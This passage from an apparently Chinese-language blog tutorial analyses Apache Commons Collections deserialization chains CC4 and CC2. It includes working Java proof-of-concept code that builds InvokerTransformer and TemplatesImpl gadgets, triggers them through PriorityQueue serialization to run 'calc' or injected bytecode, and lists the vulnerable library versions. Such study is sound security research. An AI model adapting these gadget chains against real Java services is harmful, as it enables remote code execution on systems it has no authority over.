),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
),
new ConstantTransformer(true)
});
}

@Test
public void testPriorityQueue() throws IOException, ClassNotFoundException {
Transformer transformer = getExploitTransformer();
TransformingComparator comparator = new TransformingComparator<>(transformer);
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(2);
testSerialize(queue, "queue");
}
}

这里有两个注意点,第一是 Transformer 最终的返回值是 true,是为了防止异常错误;第二是 queue 需要有两个以上的元素才会触发比较。

比较会触发两次 compare。

同样的也可以借助 CC3 的另一条链子绕过 Runtime。

CommonsCollections2

环境

环境为 8u71,组件版本 4.0,需要修改 gradle 设置

1
2
3
4
5
6
7
sourceCompatibility = 1.8
targetCompatibility = 1.8

dependencies {
implementation 'org.junit.jupiter:junit-jupiter:5.10.2'
implementation 'org.apache.commons:commons-collections4:4.0'
}

利用链分析

考虑 CC4 仍需使用一长串的 Transformer 链,我们不如考虑使用 CC3 的 TemplatesImpl 当作比较元素,直接触发其 newTransform 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TestCC2 {
public static TemplatesImpl getExploitTemplate() throws NoSuchFieldException, IllegalAccessException {
byte[] code = Base64.getDecoder().decode(b64HackerCode);
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{code});
setField(templates, "_name", "com.qsdz.cc3.TestHello");
setField(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

@Test
public void testPriorityQueue() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator comparator = new TransformingComparator<>(new ConstantTransformer<>(true));
PriorityQueue queue = new PriorityQueue(comparator);
TemplatesImpl templates = getExploitTemplate();
queue.add(templates);
queue.add(templates);
setField(comparator, "transformer", transformer);
testSerialize(queue, "queue");
}
}

大部分代码与前文重叠,故避免篇幅过长不再写出,其中有一个关键点是先利用 ConstantTransformer 避免触发异常(TemplatesImpl 的代码实例化会触发一个异常),随后再改变 comparator 的属性为恶意对象。

总结

CC反序列化链

至此暂不再分析 CC 链,文章参考自Johnfrod的博客